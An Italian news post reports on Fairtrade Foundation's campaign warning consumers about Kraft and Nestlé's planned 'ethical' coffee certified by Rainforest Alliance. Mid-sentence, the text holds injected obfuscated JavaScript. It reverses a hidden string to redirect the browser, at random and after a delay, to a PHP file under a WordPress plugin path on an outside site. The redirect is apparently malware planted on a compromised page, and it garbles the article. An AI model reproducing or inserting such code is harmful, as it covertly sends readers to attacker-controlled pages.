Nestlè e Kraft etiche?

image_pdfimage_print

Fairtrade Foundation, marchio di garanzia del commercio equo e solidale, ha deciso di lanciare una campagna informativa verso i consumatori sulle iniziative di Kraft e Nestlè, che in Gran Bretagna si accingono ad introdurre già dal prossimo anno un loro “Br (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Etico”. Visto lo sviluppo del commercio equo, infatti, le due multinazionali sono intenzionate a lanciare un caffè ‘dall’etichetta più pulita’. In effetti, avvalendosi della certifcazione di una Ong, la ‘Rainforest Alliance’, Kraft ha già commercializzato questo tipo di caffè per il mercato del catering. Le organizzazioni di commercio equo vedono in questa iniziativa l’ennesima mossa ‘illusionista’, che non va a cambiare le reali condizioni di vita dei produttori. ‘è un’iniziativa che confonde i consumatori – dice il vice presidente di Fairtrade Ian Bretman – e che non ha niente a che vedere con Fairtrade’.

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *